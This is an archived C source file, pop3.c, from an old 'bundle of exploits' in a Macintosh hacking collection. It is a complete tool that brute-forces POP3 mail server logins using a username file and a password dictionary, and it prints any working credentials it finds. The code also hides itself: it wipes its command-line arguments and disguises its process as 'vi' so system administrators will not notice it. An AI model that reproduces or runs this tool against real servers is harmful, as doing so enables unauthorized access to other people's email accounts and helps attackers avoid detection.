home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / pop3.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  6KB  |  258 lines

  1. /* : After recently installing POP3d on a machine, I played around with it a 
  2. : bit and came to a few conclusions:
  3. :     1) It allows for multiple username/password guesses
  4. :     2) There is no logging option for basd user/pass guesses.
  5.  
  6. : This seems like something just begging to be brute force hacked.
  7. : Any comments?        */
  8.  
  9. #include <stdio.h>
  10. #include <string.h>
  11. #include <signal.h>
  12. #include <unistd.h>
  13. #include <sys/param.h>
  14. #include <sys/socket.h>
  15. #include <netinet/in.h>
  16. #include <netdb.h>
  17. #include <stdarg.h> 
  18.  
  19. /* First, define the POP-3 port - almost always 110 */
  20. #define POP3_PORT               110
  21.  
  22. /* What we want our program to be masked as, so nosy sysadmins dont kill us */
  23. #define MASKAS                  "vi"
  24.  
  25. /* Repeat connect or not - remember, logs still report a connection, so
  26. you might want to set this to 0. If set to 0, it will hack until it finds
  27. 1 user/password then exit. If set to 1, it will reconnect and try more
  28. user/passwords (until it runs out of usernames) */
  29. #define RECONNECT        0
  30.  
  31.  
  32.  
  33. /* The function prototypes */
  34. void nuke_string(char *);
  35. int pop_connect(char *);
  36. int pop_guess(char *, char *);
  37. char *getanswer(char *);
  38. char *getanswer_(char *);
  39. void swallow_welcome(void);
  40. void hackity_hack(void);
  41.  
  42. int popfd;
  43. FILE *popfp;
  44.  
  45. FILE *userfile;
  46. FILE *dictfile;
  47.  
  48. char host[255];
  49. char dict[255];
  50. char user[255];
  51.  
  52. main(int argc, char **argv)
  53. {
  54.    if(argc < 4)
  55.    {
  56.       /* invalid syntax, display syntax and exit */   
  57.       printf("Syntax: %s host userfile dictfile\n", argv[0]);
  58.       exit(0);
  59.    }   
  60.    
  61.    /* Validate that the host exists */
  62.    if(pop_connect(argv[1]) == -1)
  63.    {
  64.       /* Error */
  65.       printf("Error connecting to host %s\n", argv[1]);
  66.       exit(0);
  67.    }
  68.    printf("Connected to: %s\n\n", argv[1]);
  69.    
  70.    /* Check for the existance of the user file */
  71.    userfile=fopen(argv[2], "rt");
  72.    if(userfile==NULL)
  73.    {
  74.       /* Error */
  75.       printf("Error opening userfile %s\n", argv[2]);
  76.       exit(0);
  77.    }
  78.    fclose(userfile);
  79.    
  80.    /* Checking for the existance of dict file */
  81.    dictfile=fopen(argv[3], "rt");
  82.    if(dictfile==NULL)
  83.    {
  84.       /* Error */
  85.       printf("Error opening dictfile %s\n", argv[3]);
  86.       exit(0);
  87.    }
  88.    fclose(dictfile);
  89.    
  90.    /* Copy important arguments to variables */
  91.    strcpy(host, argv[1]);
  92.    strcpy(user, argv[2]);
  93.    strcpy(dict, argv[3]);
  94.                
  95.    nuke_string(argv[0]);
  96.    nuke_string(argv[1]);
  97.    nuke_string(argv[2]);
  98.    nuke_string(argv[3]);   
  99.  strcpy(argv[0], MASKAS);
  100.  
  101.    swallow_welcome();   
  102.    hackity_hack();
  103. }
  104.  
  105.       
  106. void nuke_string(char *targetstring)
  107. {
  108.    char *mystring=targetstring;
  109.    
  110.    while(*targetstring != '\0')
  111.    {
  112.       *targetstring=' ';
  113.       targetstring++;
  114.    }
  115.    *mystring='\0';
  116. }
  117.  
  118.  
  119. int pop_connect(char *pophost)
  120. {
  121.    int popsocket;
  122.    struct sockaddr_in sin;
  123.    struct hostent *hp;
  124.       
  125.    hp=gethostbyname(pophost);
  126.    if(hp==NULL) return -1;
  127.    
  128.    bzero((char *)&sin,sizeof(sin));
  129.    bcopy(hp->h_addr,(char *)&sin.sin_addr,hp->h_length);
  130.    sin.sin_family=hp->h_addrtype;
  131.    sin.sin_port=htons(POP3_PORT);
  132.    popsocket=socket(AF_INET, SOCK_STREAM, 0);
  133.    if(popsocket==-1) return -1;
  134.    if(connect(popsocket,(struct sockaddr *)&sin,sizeof(sin))==-1) return -1;
  135.    popfd=popsocket;
  136.    return popsocket;   
  137. }
  138. int pop_guess(char *username, char *password)
  139. {
  140.    char buff[512];
  141.    
  142.    sprintf(buff, "USER %s\n", username);
  143.    send(popfd, buff, strlen(buff), 0);   
  144.    getanswer(buff);
  145.       
  146.    sprintf(buff, "PASS %s\n", password);
  147.    send(popfd, buff, strlen(buff), 0);
  148.    getanswer(buff);
  149.    if(strstr(buff, "+OK") != NULL)
  150.    {
  151.       printf("USERNAME: %s\nPASSWORD: %s\n\n", username, password);
  152.       return 0;
  153.    }
  154.    else return -1;
  155. }
  156.  
  157. char *getanswer(char *buff)
  158. {
  159.    for(;;)
  160.    {
  161.       getanswer_(buff);
  162.       if(strstr(buff, "+OK") != NULL) return buff;
  163.       if(strstr(buff, "-ERR") != NULL) return buff;
  164.    }
  165. }
  166.  
  167. char *getanswer_(char *buff)
  168. {
  169.    int ch;
  170.    char *in=buff;
  171.    
  172.    for(;;)
  173.    {
  174.       ch=getc(popfp);
  175.       if(ch == '\r');
  176.       if(ch == '\n')
  177.       {
  178.          *in='\0';
  179.          return buff;
  180.       }
  181.       else
  182.       {
  183.          *in=(char)ch;
  184.          in++;
  185.       }
  186.    }
  187. }
  188. void swallow_welcome(void)
  189. {
  190.    char b[100];  
  191.    popfp=fdopen(popfd, "rt");      
  192.    getanswer(b);
  193. }
  194.  
  195.  
  196. void hackity_hack(void)
  197. {
  198.    char *un;
  199.    char *pw;
  200.    char *c;
  201.    int found=0;
  202.    
  203.    un=(char *)malloc(512);
  204.    pw=(char *)malloc(512);
  205.    if(un==NULL || pw==NULL) return;
  206.    
  207.    userfile=fopen(user, "rt");
  208.    dictfile=fopen(dict, "rt");
  209.    if(userfile == NULL || dictfile == NULL) return;
  210.    
  211.    for(;;)
  212.    {
  213.       while(fgets(un, 50, userfile) != NULL)
  214.       {
  215.          found=0;
  216.          c=strchr(un, 10);
  217.          if(c != NULL) *c=0;
  218.          
  219.          c=strchr(un, 13);
  220.          if(c != NULL) *c=0;
  221.          
  222.          while(fgets(pw, 50, dictfile) != NULL && found==0)
  223.          {
  224.             c=strchr(pw, 10);
  225.             if(c != NULL) *c=0;
  226.             
  227.             c=strchr(pw, 13);
  228.             if(c != NULL) *c=0;
  229.             
  230.             if(strlen(pw) > 2 && strlen(un) > 2)
  231.                if(pop_guess(un, pw)==0)
  232.                {
  233.                   found=1;
  234.                   fclose(popfp);
  235.                   close(popfd);
  236.                   if(RECONNECT==0)
  237.       {
  238.                      free(pw);
  239.                      free(un);
  240.                      fclose(userfile);
  241.                      fclose(dictfile);
  242.                      exit(0);
  243.                   }
  244.                   pop_connect(host);
  245.                   swallow_welcome();               
  246.                }                           
  247.          }
  248.          fclose(dictfile);
  249.          dictfile=fopen(dict, "rt");
  250.       }
  251.       fclose(dictfile);
  252.       fclose(userfile);
  253.       free(un);
  254.       free(pw);
  255.       exit(0);
  256.    }
  257. }
  258.